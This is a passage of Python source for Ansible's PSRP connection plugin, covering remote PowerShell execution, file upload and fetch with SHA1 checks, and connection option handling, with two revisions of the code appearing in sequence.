buffer_size) # read the file stream at the offset and return the b64 string read_script = '''$ErrorActionPreference = "Stop" $fs.Seek(%d, [System.IO.SeekOrigin]::Begin) > $null $buffer = New-Object -TypeName byte[] -ArgumentList $buffer_size $bytes_read = $fs.Read($buffer, 0, $buffer_size) if ($bytes_read -gt 0) { $bytes = $buffer[0..($bytes_read - 1)] Write-Output -InputObject ([System.Convert]::ToBase64String($bytes)) }''' # need to run the setup script outside of the local scope so the # file stream stays active between fetch operations rc, stdout, stderr = self._exec_psrp_script(setup_script, use_local_scope=False, force_stop=True) if rc != 0: raise AnsibleError("failed to setup file stream for fetch '%s': %s" % (out_path, to_native(stderr))) elif stdout.strip() == '[DIR]': # to be consistent with other connection plugins, we assume the caller has created the target dir return b_out_path = to_bytes(out_path, errors='surrogate_or_strict') # to be consistent with other connection plugins, we assume the caller has created the target dir offset = 0 with open(b_out_path, 'wb') as out_file: while True: display.vvvvv("PSRP FETCH %s to %s (offset=%d" % (in_path, out_path, offset), host=self._psrp_host) rc, stdout, stderr = self._exec_psrp_script(read_script % offset, force_stop=True) if rc != 0: raise AnsibleError("failed to transfer file to '%s': %s" % (out_path, to_native(stderr))) data = base64.b64decode(stdout.strip()) out_file.write(data) if len(data) < buffer_size: break offset += len(data) rc, stdout, stderr = self._exec_psrp_script("$fs.Close()", force_stop=True) if rc != 0: display.warning("failed to close remote file stream of file " "'%s': %s" % (in_path, to_native(stderr))) def close(self): if self.runspace and self.runspace.state == RunspacePoolState.OPENED: display.vvvvv("PSRP CLOSE RUNSPACE: %s" % (self.runspace.id), host=self._psrp_host) self.runspace.close() self.runspace = None self._connected = False def _build_kwargs(self): self._become_method = self._play_context.become_method self._become_user = self._play_context.become_user self._become_pass = self._play_context.become_pass self._psrp_host = self.get_option('remote_addr') self._psrp_user = self.get_option('remote_user') self._psrp_pass = self._play_context.password protocol = self.get_option('protocol') port = self.get_option('port') if protocol is None and port is None: protocol = 'https' port = 5986 elif protocol is None: protocol = 'https' if int(port) != 5985 else 'http' elif port is None: port = 5986 if protocol == 'https' else 5985 self._psrp_protocol = protocol self._psrp_port = int(port) self._psrp_path = self.get_option('path') self._psrp_auth = self.get_option('auth') # cert validation can either be a bool or a path to the cert cert_validation = self.get_option('cert_validation') cert_trust_path = self.get_option('ca_cert') if cert_validation == 'ignore': self._psrp_cert_validation = False elif cert_trust_path is not None: self._psrp_cert_validation = cert_trust_path else: self._psrp_cert_validation = True self._psrp_connection_timeout = self.get_option('connection_timeout') # Can be None self._psrp_read_timeout = self.get_option('read_timeout') # Can be None self._psrp_message_encryption = self.get_option('message_encryption') self._psrp_proxy = self.get_option('proxy') self._psrp_ignore_proxy = boolean(self.get_option('ignore_proxy')) self._psrp_operation_timeout = int(self.get_option('operation_timeout')) self._psrp_max_envelope_size = int(self.get_option('max_envelope_size')) self._psrp_configuration_name = self.get_option('configuration_name') self._psrp_reconnection_retries = int(self.get_option('reconnection_retries')) self._psrp_reconnection_backoff = float(self.get_option('reconnection_backoff')) self._psrp_certificate_key_pem = self.get_option('certificate_key_pem') self._psrp_certificate_pem = self.get_option('certificate_pem') self._psrp_credssp_auth_mechanism = self.get_option('credssp_auth_mechanism') self._psrp_credssp_disable_tlsv1_2 = self.get_option('credssp_disable_tlsv1_2') self._psrp_credssp_minimum_version = self.get_option('credssp_minimum_version') self._psrp_negotiate_send_cbt = self.get_option('negotiate_send_cbt') self._psrp_negotiate_delegate = self.get_option('negotiate_delegate') self._psrp_negotiate_hostname_override = self.get_option('negotiate_hostname_override') self._psrp_negotiate_service = self.get_option('negotiate_service') supported_args = [] for auth_kwarg in AUTH_KWARGS.values(): supported_args.extend(auth_kwarg) extra_args = set([v.replace('ansible_psrp_', '') for v in self.get_option('_extras')]) unsupported_args = extra_args.difference(supported_args) for arg in unsupported_args: display.warning("ansible_psrp_%s is unsupported by the current " "psrp version installed" % arg) self._psrp_conn_kwargs = dict( server=self._psrp_host, port=self._psrp_port, username=self._psrp_user, password=self._psrp_pass, ssl=self._psrp_protocol == 'https', path=self._psrp_path, auth=self._psrp_auth, cert_validation=self._psrp_cert_validation, connection_timeout=self._psrp_connection_timeout, encryption=self._psrp_message_encryption, proxy=self._psrp_proxy, no_proxy=self._psrp_ignore_proxy, max_envelope_size=self._psrp_max_envelope_size, operation_timeout=self._psrp_operation_timeout, certificate_key_pem=self._psrp_certificate_key_pem, certificate_pem=self._psrp_certificate_pem, credssp_auth_mechanism=self._psrp_credssp_auth_mechanism, credssp_disable_tlsv1_2=self._psrp_credssp_disable_tlsv1_2, credssp_minimum_version=self._psrp_credssp_minimum_version, negotiate_send_cbt=self._psrp_negotiate_send_cbt, negotiate_delegate=self._psrp_negotiate_delegate, negotiate_hostname_override=self._psrp_negotiate_hostname_override, negotiate_service=self._psrp_negotiate_service, ) # Check if PSRP version supports newer read_timeout argument (needs pypsrp 0.3.0+) if hasattr(pypsrp, 'FEATURES') and 'wsman_read_timeout' in pypsrp.FEATURES: self._psrp_conn_kwargs['read_timeout'] = self._psrp_read_timeout elif self._psrp_read_timeout is not None: display.warning("ansible_psrp_read_timeout is unsupported by the current psrp version installed, " "using ansible_psrp_connection_timeout value for read_timeout instead.") # Check if PSRP version supports newer reconnection_retries argument (needs pypsrp 0.3.0+) if hasattr(pypsrp, 'FEATURES') and 'wsman_reconnections' in pypsrp.FEATURES: self._psrp_conn_kwargs['reconnection_retries'] = self._psrp_reconnection_retries self._psrp_conn_kwargs['reconnection_backoff'] = self._psrp_reconnection_backoff else: if self._psrp_reconnection_retries is not None: display.warning("ansible_psrp_reconnection_retries is unsupported by the current psrp version installed.") if self._psrp_reconnection_backoff is not None: display.warning("ansible_psrp_reconnection_backoff is unsupported by the current psrp version installed.") # add in the extra args that were set for arg in extra_args.intersection(supported_args): option = self.get_option('_extras')['ansible_psrp_%s' % arg] self._psrp_conn_kwargs[arg] = option def _exec_psrp_script(self, script, input_data=None, use_local_scope=True, force_stop=False): ps = PowerShell(self.runspace) ps.add_script(script, use_local_scope=use_local_scope) ps.invoke(input=input_data) rc, stdout, stderr = self._parse_pipeline_result(ps) if force_stop: # This is usually not needed because we close the Runspace after our exec and we skip the call to close the # pipeline manually to save on some time. Set to True when running multiple exec calls in the same runspace. # Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we # can call stop without any issues. ps.state = PSInvocationState.RUNNING ps.stop() return rc, stdout, stderr def _parse_pipeline_result(self, pipeline): """ PSRP doesn't have the same concept as other protocols with its output. We need some extra logic to convert the pipeline streams and host output into the format that Ansible understands. :param pipeline: The finished PowerShell pipeline that invoked our commands :return: rc, stdout, stderr based on the pipeline output """ # we try and get the rc from our host implementation, this is set if # exit or $host.SetShouldExit() is called in our pipeline, if not we # set to 0 if the pipeline had not errors and 1 if it did rc = self.host.rc or (1 if pipeline.had_errors else 0) # TODO: figure out a better way of merging this with the host output stdout_list = [] for output in pipeline.output: # Not all pipeline outputs are a string or contain a __str__ value, # we will create our own output based on the properties of the # complex object if that is the case. if isinstance(output, GenericComplexObject) and output.to_string is None: obj_lines = output.property_sets for key, value in output.adapted_properties.items(): obj_lines.append(u"%s: %s" % (key, value)) for key, value in output.extended_properties.items(): obj_lines.append(u"%s: %s" % (key, value)) output_msg = u"\n".join(obj_lines) else: output_msg = to_text(output, nonstring='simplerepr') stdout_list.append(output_msg) if len(self.host.ui.stdout) > 0: stdout_list += self.host.ui.stdout stdout = u"\r\n".join(stdout_list) stderr_list = [] for error in pipeline.streams.error: # the error record is not as fully fleshed out like we usually get # in PS, we will manually create it here command_name = "%s : " % error.command_name if error.command_name else '' position = "%s\r\n" % error.invocation_position_message if error.invocation_position_message else '' error_msg = "%s%s\r\n%s" \ " + CategoryInfo : %s\r\n" \ " + FullyQualifiedErrorId : %s" \ % (command_name, str(error), position, error.message, error.fq_error) stacktrace = error.script_stacktrace if self._play_context.verbosity >= 3 and stacktrace is not None: error_msg += "\r\nStackTrace:\r\n%s" % stacktrace stderr_list.append(error_msg) if len(self.host.ui.stderr) > 0: stderr_list += self.host.ui.stderr stderr = u"\r\n".join([to_text(o) for o in stderr_list]) display.vvvvv("PSRP RC: %d" % rc, host=self._psrp_host) display.vvvvv("PSRP STDOUT: %s" % stdout, host=self._psrp_host) display.vvvvv("PSRP STDERR: %s" % stderr, host=self._psrp_host) # reset the host back output back to defaults, needed if running # multiple pipelines on the same RunspacePool self.host.rc = 0 self.host.ui.stdout = [] self.host.ui.stderr = [] return rc, to_bytes(stdout, encoding='utf-8'), to_bytes(stderr, encoding='utf-8')
class Connection(ConnectionBase): transport = 'psrp' module_implementation_preferences = ('.ps1', '.exe', '') allow_executable = False has_pipelining = True allow_extras = True def __init__(self, *args, **kwargs): self.always_pipeline_modules = True self.has_native_async = True self.runspace = None self.host = None self._last_pipeline = False self._shell_type = 'powershell' super(Connection, self).__init__(*args, **kwargs) if not C.DEFAULT_DEBUG: logging.getLogger('pypsrp').setLevel(logging.WARNING) logging.getLogger('requests_credssp').setLevel(logging.INFO) logging.getLogger('urllib3').setLevel(logging.INFO) def _connect(self): if not HAS_PYPSRP: raise AnsibleError("pypsrp or dependencies are not installed: %s" % to_native(PYPSRP_IMP_ERR)) super(Connection, self)._connect() self._build_kwargs() display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" % (self._psrp_user, self._psrp_port, self._psrp_host), host=self._psrp_host) if not self.runspace: connection = WSMan(**self._psrp_conn_kwargs) # create our pseudo host to capture the exit code and host output host_ui = PSHostUserInterface() self.host = PSHost(None, None, False, "Ansible PSRP Host", None, host_ui, None) self.runspace = RunspacePool( connection, host=self.host, configuration_name=self._psrp_configuration_name) display.vvvvv( "PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" % (self._psrp_auth, self._psrp_configuration_name, connection.transport.endpoint), host=self._psrp_host) try: self.runspace.open() except AuthenticationError as e: raise AnsibleConnectionFailure("failed to authenticate with " "the server: %s" % to_native(e)) except WinRMError as e: raise AnsibleConnectionFailure( "psrp connection failure during runspace open: %s" % to_native(e)) except (ConnectionError, ConnectTimeout) as e: raise AnsibleConnectionFailure( "Failed to connect to the host via PSRP: %s" % to_native(e)) self._connected = True self._last_pipeline = None return self def reset(self): if not self._connected: self.runspace = None return # Try out best to ensure the runspace is closed to free up server side resources try: self.close() except Exception as e: # There's a good chance the connection was already closed so just log the error and move on display.debug("PSRP reset - failed to closed runspace: %s" % to_text(e)) display.vvvvv("PSRP: Reset Connection", host=self._psrp_host) self.runspace = None self._connect() def exec_command(self, cmd, in_data=None, sudoable=True): super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable) if cmd.startswith(" ".join(_common_args) + " -EncodedCommand"): # This is a PowerShell script encoded by the shell plugin, we will # decode the script and execute it in the runspace instead of # starting a new interpreter to save on time b_command = base64.b64decode(cmd.split(" ")[-1]) script = to_text(b_command, 'utf-16-le') in_data = to_text(in_data, errors="surrogate_or_strict", nonstring="passthru") if in_data and in_data.startswith(u"#!"): # ANSIBALLZ wrapper, we need to get the interpreter and execute # that as the script - note this won't work as basic.py relies # on packages not available on Windows, once fixed we can enable # this path interpreter = to_native(in_data.splitlines()[0][2:]) # script = "$input | &'%s' -" % interpreter # in_data = to_text(in_data) raise AnsibleError( "cannot run the interpreter '%s' on the psrp " "connection plugin" % interpreter) # call build_module_command to get the bootstrap wrapper text bootstrap_wrapper = self._shell.build_module_command('', '', '') if bootstrap_wrapper == cmd: # Do not display to the user each invocation of the bootstrap wrapper display.vvv("PSRP: EXEC (via pipeline wrapper)") else: display.vvv("PSRP: EXEC %s" % script, host=self._psrp_host) else: # In other cases we want to execute the cmd as the script. We add on the 'exit $LASTEXITCODE' to ensure the # rc is propagated back to the connection plugin. script = to_text(u"%s\nexit $LASTEXITCODE" % cmd) display.vvv(u"PSRP: EXEC %s" % script, host=self._psrp_host) rc, stdout, stderr = self._exec_psrp_script(script, in_data) return rc, stdout, stderr def put_file(self, in_path, out_path): super(Connection, self).put_file(in_path, out_path) out_path = self._shell._unquote(out_path) display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._psrp_host) copy_script = '''begin { $ErrorActionPreference = "Stop" $WarningPreference = "Continue" $path = $MyInvocation.UnboundArguments[0] $fd = [System.IO.File]::Create($path) $algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create() $bytes = @() $bindingFlags = [System.Reflection.BindingFlags]'NonPublic, Instance' Function Get-Property { <# .SYNOPSIS Gets the private/internal property specified of the object passed in. #> Param ( [Parameter(Mandatory=$true, ValueFromPipeline=$true)] [System.Object] $Object, [Parameter(Mandatory=$true, Position=1)] [System.String] $Name ) $Object.GetType().GetProperty($Name, $bindingFlags).GetValue($Object, $null) } Function Set-Property { <# .SYNOPSIS Sets the private/internal property specified on the object passed in. #> Param ( [Parameter(Mandatory=$true, ValueFromPipeline=$true)] [System.Object] $Object, [Parameter(Mandatory=$true, Position=1)] [System.String] $Name, [Parameter(Mandatory=$true, Position=2)] [AllowNull()] [System.Object] $Value ) $Object.GetType().GetProperty($Name, $bindingFlags).SetValue($Object, $Value, $null) } Function Get-Field { <# .SYNOPSIS Gets the private/internal field specified of the object passed in. #> Param ( [Parameter(Mandatory=$true, ValueFromPipeline=$true)] [System.Object] $Object, [Parameter(Mandatory=$true, Position=1)] [System.String] $Name ) $Object.GetType().GetField($Name, $bindingFlags).GetValue($Object) } # MaximumAllowedMemory is required to be set to so we can send input data that exceeds the limit on a PS # Runspace. We use reflection to access/set this property as it is not accessible publicly. This is not ideal # but works on all PowerShell versions I've tested with. We originally used WinRS to send the raw bytes to the # host but this falls flat if someone is using a custom PS configuration name so this is a workaround. This # isn't required for smaller files so if it fails we ignore the error and hope it wasn't needed. # https://github.com/PowerShell/PowerShell/blob/c8e72d1e664b1ee04a14f226adf655cced24e5f0/src/System.Management.Automation/engine/serialization.cs#L325 try { $Host | Get-Property 'ExternalHost' | ` Get-Field '_transportManager' | ` Get-Property 'Fragmentor' | ` Get-Property 'DeserializationContext' | ` Set-Property 'MaximumAllowedMemory' $null } catch {} } process { $bytes = [System.Convert]::FromBase64String($input) $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null $fd.Write($bytes, 0, $bytes.Length) } end { $fd.Close() $algo.TransformFinalBlock($bytes, 0, 0) > $null $hash = [System.BitConverter]::ToString($algo.Hash).Replace('-', '').ToLowerInvariant() Write-Output -InputObject "{`"sha1`":`"$hash`"}" } ''' # Get the buffer size of each fragment to send, subtract 82 for the fragment, message, and other header info # fields that PSRP adds. Adjust to size of the base64 encoded bytes length. buffer_size = int( (self.runspace.connection.max_payload_size - 82) / 4 * 3) sha1_hash = sha1() b_in_path = to_bytes(in_path, errors='surrogate_or_strict') if not os.path.exists(b_in_path): raise AnsibleFileNotFound('file or module does not exist: "%s"' % to_native(in_path)) def read_gen(): offset = 0 with open(b_in_path, 'rb') as src_fd: for b_data in iter((lambda: src_fd.read(buffer_size)), b""): data_len = len(b_data) offset += data_len sha1_hash.update(b_data) # PSRP technically supports sending raw bytes but that method requires a larger CLIXML message. # Sending base64 is still more efficient here. display.vvvvv("PSRP PUT %s to %s (offset=%d, size=%d" % (in_path, out_path, offset, data_len), host=self._psrp_host) b64_data = base64.b64encode(b_data) yield [to_text(b64_data)] if offset == 0: # empty file yield [""] rc, stdout, stderr = self._exec_psrp_script(copy_script, read_gen(), arguments=[out_path]) if rc != 0: raise AnsibleError(to_native(stderr)) put_output = json.loads(to_text(stdout)) local_sha1 = sha1_hash.hexdigest() remote_sha1 = put_output.get("sha1") if not remote_sha1: raise AnsibleError( "Remote sha1 was not returned, stdout: '%s', stderr: '%s'" % (to_native(stdout), to_native(stderr))) if not remote_sha1 == local_sha1: raise AnsibleError( "Remote sha1 hash %s does not match local hash %s" % (to_native(remote_sha1), to_native(local_sha1))) def fetch_file(self, in_path, out_path): super(Connection, self).fetch_file(in_path, out_path) display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self._psrp_host) in_path = self._shell._unquote(in_path) out_path = out_path.replace('\\', '/') # because we are dealing with base64 data we need to get the max size # of the bytes that the base64 size would equal max_b64_size = int(self.runspace.connection.max_payload_size - (self.runspace.connection.max_payload_size / 4 * 3)) buffer_size = max_b64_size - (max_b64_size % 1024) # setup the file stream with read only mode setup_script = '''$ErrorActionPreference = "Stop" $path = '%s' if (Test-Path -Path $path -PathType Leaf) { $fs = New-Object -TypeName System.IO.FileStream -ArgumentList @( $path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read ) $buffer_size = %d } elseif (Test-Path -Path $path -PathType Container) { Write-Output -InputObject "[DIR]" } else { Write-Error -Message "$path does not exist" $host.SetShouldExit(1) }''' % (self._shell._escape(in_path), buffer_size) # read the file stream at the offset and return the b64 string read_script = '''$ErrorActionPreference = "Stop" $fs.Seek(%d, [System.IO.SeekOrigin]::Begin) > $null $buffer = New-Object -TypeName byte[] -ArgumentList $buffer_size $bytes_read = $fs.Read($buffer, 0, $buffer_size) if ($bytes_read -gt 0) { $bytes = $buffer[0..($bytes_read - 1)] Write-Output -InputObject ([System.Convert]::ToBase64String($bytes)) }''' # need to run the setup script outside of the local scope so the # file stream stays active between fetch operations rc, stdout, stderr = self._exec_psrp_script(setup_script, use_local_scope=False) if rc != 0: raise AnsibleError( "failed to setup file stream for fetch '%s': %s" % (out_path, to_native(stderr))) elif stdout.strip() == '[DIR]': # to be consistent with other connection plugins, we assume the caller has created the target dir return b_out_path = to_bytes(out_path, errors='surrogate_or_strict') # to be consistent with other connection plugins, we assume the caller has created the target dir offset = 0 with open(b_out_path, 'wb') as out_file: while True: display.vvvvv("PSRP FETCH %s to %s (offset=%d" % (in_path, out_path, offset), host=self._psrp_host) rc, stdout, stderr = self._exec_psrp_script(read_script % offset) if rc != 0: raise AnsibleError("failed to transfer file to '%s': %s" % (out_path, to_native(stderr))) data = base64.b64decode(stdout.strip()) out_file.write(data) if len(data) < buffer_size: break offset += len(data) rc, stdout, stderr = self._exec_psrp_script("$fs.Close()") if rc != 0: display.warning("failed to close remote file stream of file " "'%s': %s" % (in_path, to_native(stderr))) def close(self): if self.runspace and self.runspace.state == RunspacePoolState.OPENED: display.vvvvv("PSRP CLOSE RUNSPACE: %s" % (self.runspace.id), host=self._psrp_host) self.runspace.close() self.runspace = None self._connected = False self._last_pipeline = None def _build_kwargs(self): self._psrp_host = self.get_option('remote_addr') self._psrp_user = self.get_option('remote_user') self._psrp_pass = self.get_option('remote_password') protocol = self.get_option('protocol') port = self.get_option('port') if protocol is None and port is None: protocol = 'https' port = 5986 elif protocol is None: protocol = 'https' if int(port) != 5985 else 'http' elif port is None: port = 5986 if protocol == 'https' else 5985 self._psrp_protocol = protocol self._psrp_port = int(port) self._psrp_path = self.get_option('path') self._psrp_auth = self.get_option('auth') # cert validation can either be a bool or a path to the cert cert_validation = self.get_option('cert_validation') cert_trust_path = self.get_option('ca_cert') if cert_validation == 'ignore': self._psrp_cert_validation = False elif cert_trust_path is not None: self._psrp_cert_validation = cert_trust_path else: self._psrp_cert_validation = True self._psrp_connection_timeout = self.get_option( 'connection_timeout') # Can be None self._psrp_read_timeout = self.get_option( 'read_timeout') # Can be None self._psrp_message_encryption = self.get_option('message_encryption') self._psrp_proxy = self.get_option('proxy') self._psrp_ignore_proxy = boolean(self.get_option('ignore_proxy')) self._psrp_operation_timeout = int( self.get_option('operation_timeout')) self._psrp_max_envelope_size = int( self.get_option('max_envelope_size')) self._psrp_configuration_name = self.get_option('configuration_name') self._psrp_reconnection_retries = int( self.get_option('reconnection_retries')) self._psrp_reconnection_backoff = float( self.get_option('reconnection_backoff')) self._psrp_certificate_key_pem = self.get_option('certificate_key_pem') self._psrp_certificate_pem = self.get_option('certificate_pem') self._psrp_credssp_auth_mechanism = self.get_option( 'credssp_auth_mechanism') self._psrp_credssp_disable_tlsv1_2 = self.get_option( 'credssp_disable_tlsv1_2') self._psrp_credssp_minimum_version = self.get_option( 'credssp_minimum_version') self._psrp_negotiate_send_cbt = self.get_option('negotiate_send_cbt') self._psrp_negotiate_delegate = self.get_option('negotiate_delegate') self._psrp_negotiate_hostname_override = self.get_option( 'negotiate_hostname_override') self._psrp_negotiate_service = self.get_option('negotiate_service') supported_args = [] for auth_kwarg in AUTH_KWARGS.values(): supported_args.extend(auth_kwarg) extra_args = { v.replace('ansible_psrp_', '') for v in self.get_option('_extras') } unsupported_args = extra_args.difference(supported_args) for arg in unsupported_args: display.warning("ansible_psrp_%s is unsupported by the current " "psrp version installed" % arg) self._psrp_conn_kwargs = dict( server=self._psrp_host, port=self._psrp_port, username=self._psrp_user, password=self._psrp_pass, ssl=self._psrp_protocol == 'https', path=self._psrp_path, auth=self._psrp_auth, cert_validation=self._psrp_cert_validation, connection_timeout=self._psrp_connection_timeout, encryption=self._psrp_message_encryption, proxy=self._psrp_proxy, no_proxy=self._psrp_ignore_proxy, max_envelope_size=self._psrp_max_envelope_size, operation_timeout=self._psrp_operation_timeout, certificate_key_pem=self._psrp_certificate_key_pem, certificate_pem=self._psrp_certificate_pem, credssp_auth_mechanism=self._psrp_credssp_auth_mechanism, credssp_disable_tlsv1_2=self._psrp_credssp_disable_tlsv1_2, credssp_minimum_version=self._psrp_credssp_minimum_version, negotiate_send_cbt=self._psrp_negotiate_send_cbt, negotiate_delegate=self._psrp_negotiate_delegate, negotiate_hostname_override=self._psrp_negotiate_hostname_override, negotiate_service=self._psrp_negotiate_service, ) # Check if PSRP version supports newer read_timeout argument (needs pypsrp 0.3.0+) if hasattr(pypsrp, 'FEATURES') and 'wsman_read_timeout' in pypsrp.FEATURES: self._psrp_conn_kwargs['read_timeout'] = self._psrp_read_timeout elif self._psrp_read_timeout is not None: display.warning( "ansible_psrp_read_timeout is unsupported by the current psrp version installed, " "using ansible_psrp_connection_timeout value for read_timeout instead." ) # Check if PSRP version supports newer reconnection_retries argument (needs pypsrp 0.3.0+) if hasattr(pypsrp, 'FEATURES') and 'wsman_reconnections' in pypsrp.FEATURES: self._psrp_conn_kwargs[ 'reconnection_retries'] = self._psrp_reconnection_retries self._psrp_conn_kwargs[ 'reconnection_backoff'] = self._psrp_reconnection_backoff else: if self._psrp_reconnection_retries is not None: display.warning( "ansible_psrp_reconnection_retries is unsupported by the current psrp version installed." ) if self._psrp_reconnection_backoff is not None: display.warning( "ansible_psrp_reconnection_backoff is unsupported by the current psrp version installed." ) # add in the extra args that were set for arg in extra_args.intersection(supported_args): option = self.get_option('_extras')['ansible_psrp_%s' % arg] self._psrp_conn_kwargs[arg] = option def _exec_psrp_script(self, script, input_data=None, use_local_scope=True, arguments=None): # Check if there's a command on the current pipeline that still needs to be closed. if self._last_pipeline: # Current pypsrp versions raise an exception if the current state was not RUNNING. We manually set it so we # can call stop without any issues. self._last_pipeline.state = PSInvocationState.RUNNING self._last_pipeline.stop() self._last_pipeline = None ps = PowerShell(self.runspace) ps.add_script(script, use_local_scope=use_local_scope) if arguments: for arg in arguments: ps.add_argument(arg) ps.invoke(input=input_data) rc, stdout, stderr = self._parse_pipeline_result(ps) # We should really call .stop() on all pipelines that are run to decrement the concurrent command counter on # PSSession but that involves another round trip and is done when the runspace is closed. We instead store the # last pipeline which is closed if another command is run on the runspace. self._last_pipeline = ps return rc, stdout, stderr def _parse_pipeline_result(self, pipeline): """ PSRP doesn't have the same concept as other protocols with its output. We need some extra logic to convert the pipeline streams and host output into the format that Ansible understands. :param pipeline: The finished PowerShell pipeline that invoked our commands :return: rc, stdout, stderr based on the pipeline output """ # we try and get the rc from our host implementation, this is set if # exit or $host.SetShouldExit() is called in our pipeline, if not we # set to 0 if the pipeline had not errors and 1 if it did rc = self.host.rc or (1 if pipeline.had_errors else 0) # TODO: figure out a better way of merging this with the host output stdout_list = [] for output in pipeline.output: # Not all pipeline outputs are a string or contain a __str__ value, # we will create our own output based on the properties of the # complex object if that is the case. if isinstance(output, GenericComplexObject) and output.to_string is None: obj_lines = output.property_sets for key, value in output.adapted_properties.items(): obj_lines.append(u"%s: %s" % (key, value)) for key, value in output.extended_properties.items(): obj_lines.append(u"%s: %s" % (key, value)) output_msg = u"\n".join(obj_lines) else: output_msg = to_text(output, nonstring='simplerepr') stdout_list.append(output_msg) if len(self.host.ui.stdout) > 0: stdout_list += self.host.ui.stdout stdout = u"\r\n".join(stdout_list) stderr_list = [] for error in pipeline.streams.error: # the error record is not as fully fleshed out like we usually get # in PS, we will manually create it here command_name = "%s : " % error.command_name if error.command_name else '' position = "%s\r\n" % error.invocation_position_message if error.invocation_position_message else '' error_msg = "%s%s\r\n%s" \ " + CategoryInfo : %s\r\n" \ " + FullyQualifiedErrorId : %s" \ % (command_name, str(error), position, error.message, error.fq_error) stacktrace = error.script_stacktrace if self._play_context.verbosity >= 3 and stacktrace is not None: error_msg += "\r\nStackTrace:\r\n%s" % stacktrace stderr_list.append(error_msg) if len(self.host.ui.stderr) > 0: stderr_list += self.host.ui.stderr stderr = u"\r\n".join([to_text(o) for o in stderr_list]) display.vvvvv("PSRP RC: %d" % rc, host=self._psrp_host) display.vvvvv("PSRP STDOUT: %s" % stdout, host=self._psrp_host) display.vvvvv("PSRP STDERR: %s" % stderr, host=self._psrp_host) # reset the host back output back to defaults, needed if running # multiple pipelines on the same RunspacePool self.host.rc = 0 self.host.ui.stdout = [] self.host.ui.stderr = [] return rc, to_bytes(stdout, encoding='utf-8'), to_bytes(stderr, encoding='utf-8')